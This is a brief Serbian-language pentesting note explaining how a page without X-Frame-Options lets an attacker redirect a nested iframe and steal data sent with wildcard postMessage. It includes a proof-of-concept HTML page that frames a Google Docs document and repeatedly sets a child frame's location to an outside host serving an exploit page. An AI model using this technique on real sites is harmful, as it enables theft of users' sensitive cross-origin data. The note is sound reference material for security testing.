Steal postmessage modifying iframe location

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Changing child iframes locations

Prema ovom izveštaju, ako možete da iframe-ujete veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete promeniti lokaciju tog child iframe-a.

Na primer, ako abc.com ima efg.com kao iframe i abc.com nema X-Frame header, mogao bih da promenim efg.com u evil.com cross origin koristeći frames.location.

Ovo je posebno korisno u postMessages jer ako stranica šalje osetljive podatke koristeći wildcard kao što je windowRef.postmessage("","*"), moguće je promeniti lokaciju povezanog iframe-a (child ili parent) na lokaciju koju kontroliše napadač i ukrasti te podatke.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

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